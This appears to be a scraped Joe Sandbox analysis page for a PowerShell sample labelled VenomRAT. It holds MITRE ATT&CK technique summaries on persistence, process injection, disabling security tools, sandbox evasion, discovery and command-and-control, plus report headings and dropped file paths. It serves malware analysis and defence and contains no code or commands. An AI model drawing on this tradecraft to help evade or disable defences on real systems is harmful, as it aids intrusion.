Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CKi4EZWZsC.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VenomRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RES91A5.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alcl214o.vqp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hukhe1bd.32s.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbvfzypb.syl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sya3bcg0.ekh.psm1

Windows Analysis Report
CKi4EZWZsC.ps1

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre